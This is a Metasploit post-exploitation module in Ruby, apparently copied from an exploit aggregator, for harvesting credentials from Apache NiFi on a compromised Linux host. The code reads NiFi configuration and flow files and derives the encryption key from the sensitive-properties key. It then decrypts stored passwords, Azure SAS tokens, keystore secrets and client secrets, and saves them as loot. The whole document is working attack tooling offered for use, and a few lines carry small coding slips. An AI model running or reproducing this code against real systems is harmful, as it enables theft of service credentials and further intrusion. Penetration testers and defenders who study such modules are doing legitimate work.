Share
## https://sploitus.com/exploit?id=MSF:POST-LINUX-GATHER-APACHE_NIFI_CREDENTIALS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache NiFi Credentials Gather',
        'Description' => %q{
          This module will grab Apache NiFi credentials from various files on Linux.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit Module
          'Topaco', # crypto assist
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'],
          ['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']),
        OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']),
        OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']),
        OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']),
        OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']),
        OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000])
      ], self.class
    )
  end

  def authorizers_file
    return @authorizers_file if @authorizers_file

    [datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found authorizers.xml file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @authorizers_file = f
      break
    end
    @authorizers_file
  end

  def identity_file
    return @identity_file if @identity_file

    [datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found login-identity-providers.xml file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @identity_file = f
      break
    end
    @identity_file
  end

  def properties_file
    return @properties_file if @properties_file

    [datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found nifi.properties file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @properties_file = f
      break
    end
    @properties_file
  end

  def flow_file
    return @flow_file if @flow_file

    [datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found flow.json.gz file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @flow_file = f
      break
    end
    @flow_file
  end

  def salt
    'NiFi Static Salt'
  end

  def process_type_azure_storage_credentials_controller_service(name, service)
    table_entries = []
    storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name'])
    return table_entries if storage_account_name.nil?

    storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key)

    # this is optional
    if service['managed-identity-client-id']
      client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id'])
      return table_entries if client_id.nil?

      client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key)
    else
      client_id_decrypt = ''
    end

    sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token'])
    return table_entries if sas_token.nil?

    sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key)

    information = "storage-account-name: #{storage_account_name_decrypt}"
    information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix']
    table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}"

    @flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt)
    @flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt)
    @flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty?
    table_entries << [name, table_username, sas_token_decrypt, information]
    table_entries
  end

  # This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for.
  # we may miss grouping some fields together, but its better to print them out than do nothing with them.
  def process_type_generic(name, processor)
    table_entries = []
    processor.each do |property|
      property_name = property[0]
      property_value = property[1]
      next unless property_value.is_a? String
      next unless property_value.starts_with? 'enc{'

      password = parse_aes_256_gcm_enc_string(property_value)
      next if password.nil?

      password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
      table_entries << [name, '', password_decrypt, "Property name: #{property_name}"]
      @flow_json_string = @flow_json_string.gsub(property_value, password_decrypt)
    end
    table_entries
  end

  def process_type_org_apache_nifi_processors_standard_gethttp(name, processor)
    table_entries = []
    return table_entries unless processor['Password']

    username = processor['Username']
    url = processor['URL']
    password = parse_aes_256_gcm_enc_string(processor['Password'])
    return table_entries if password.nil?

    password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
    table_entries << [name, username, password_decrypt, "URL: #{url}"]
    @flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt)
    table_entries
  end

  def process_type_standard_restricted_ssl_context_service(controller_properties)
    table_entries = []
    if controller_properties['Keystore Filename'] && controller_properties['Keystore Password']
      name = 'Keystore'
      username = controller_properties['Keystore Filename']
      password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password'])
      unless password.nil?
        password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
        table_entries << [name, username, password_decrypt, '']
        @flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt)
      end
    end

    if controller_properties['Truststore Filename'] && controller_properties['Truststore Password']
      name = 'Truststore'
      username = controller_properties['Truststore Filename']
      password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password'])
      unless password.nil?
        password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
        table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
        @flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt)
      end
    end

    return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password']

    name = 'Key Password'
    username = controller_properties['Truststore Filename']
    password = parse_aes_256_gcm_enc_string(controller_properties['key-password'])
    return table_entries if password.nil?

    password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
    table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
    @flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt)

    table_entries
  end

  def decrypt_aes_256_gcm(enc_fields, key)
    vprint_status('    Decryption initiated for AES-256-GCM')
    vprint_status("      Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}")
    cipher = OpenSSL::Cipher.new('AES-256-GCM')
    cipher.decrypt
    cipher.key = key
    cipher.iv_len = 16
    cipher.iv = [enc_fields[:nonce]].pack('H*')
    cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*')

    decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*'))
    decrypted_text << cipher.final
    decrypted_text
  end

  def parse_aes_256_gcm_enc_string(password)
    password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end
    password.match(/(?<nonce>\w{32})(?<ciphertext>\w+)(?<auth_tag>\w{32})/) # parse out the fields
  end

  def run
    unless (flow_file && properties_file) || identity_file
      fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files')
    end

    properties = read_file(properties_file)
    path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file')
    print_good("properties data saved in: #{path}")
    key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip
    fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil?
    print_good("Key: #{key}")
    # https://rubular.com/r/N0w0WHTjjdKXHZ
    # https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#property-encryption-algorithms
    # https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#java-cryptography-extension-jce-limited-strength-jurisdiction-policies
    algorithm = properties.scan(/^nifi.sensitive.props.algorithm=([\w-]+)$/).flatten.first.strip
    fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil?

    columns = ['Name', 'Username', 'Password', 'Other Information']
    table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns)

    if flow_file
      flow_json = Zlib.gunzip(read_file(flow_file))

      path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data')
      print_good("Original data containing encrypted fields saved in: #{path}")

      flow_json = JSON.parse(flow_json)
      @flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well

      # NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0
      # leave this as an if statement so it can be expanded to include more algorithms in the future
      if algorithm == 'NIFI_PBKDF2_AES_GCM_256'
        # https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f
        @decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512'))

        vprint_status('Checking root group processors')
        flow_json.dig('rootGroup', 'processors').each do |processor|
          vprint_status("  Analyzing #{processor['processor']} of type #{processor['type']}")
          case processor['type']
          when 'org.apache.nifi.processors.standard.GetHTTP'
            table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties'])
          else
            table_entries = process_type_generic(processor['name'], processor['properties'])
          end
          table.rows.concat table_entries
        end

        vprint_status('Checking root group controller services')
        flow_json.dig('rootGroup', 'controllerServices').each do |service|
          vprint_status("  Analyzing #{service['name']} of type #{service['type']}")
          case service['type']
          when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12',
            'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService'
            table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties'])
          when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService'
            table_entries = process_type_standard_restricted_ssl_context_service(service['properties'])
          else
            table_entries = process_type_generic(service['name'], service['properties'])
          end
          table.rows.concat table_entries
        end

      else
        print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.")
      end

      unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything
        path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted')
        print_good("Decrypted data saved in: #{path}")
      end
    end

    vprint_status('Checking identity file')
    if identity_file
      identity_content = read_file(identity_file)
      xml = Nokogiri::XML.parse(identity_content)

      xml.xpath('//loginIdentityProviders//provider').each do |c|
        name = c.xpath('identifier').text
        username = c.xpath('property[@name="Username"]').text
        hash = c.xpath('property[@name="Password"]').text
        next if username.blank? || hash.blank?

        table << [name, username, hash, 'From login-identity-providers.xml']

        credential_data = {
          jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
          origin_type: :session,
          post_reference_name: refname,
          private_type: :nonreplayable_hash,
          private_data: hash,
          session_id: session_db_id,
          username: username,
          workspace_id: myworkspace_id
        }
        create_credential(credential_data)
      end
    end

    vprint_status('Checking authorizers file')
    if authorizers_file
      authorizers_content = read_file(authorizers_file)
      xml = Nokogiri::XML.parse(authorizers_content)

      xml.xpath('//authorizers//userGroupProvider').each do |c|
        next if c.xpath('property[@name="Client Secret"]').text.blank?

        name = c.xpath('identifier').text
        username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \
                   ", Application ID: #{c.xpath('property[@name="Application ID"]').text}"
        password = c.xpath('property[@name="Client Secret"]').text
        next if username.blank? || hash.blank?

        table << [name, username, password, 'From authorizers.xml']
      end
    end

    if !table.rows.empty?
      print_good('NiFi Flow Values')
      print_line(table.to_s)
    end
  end
end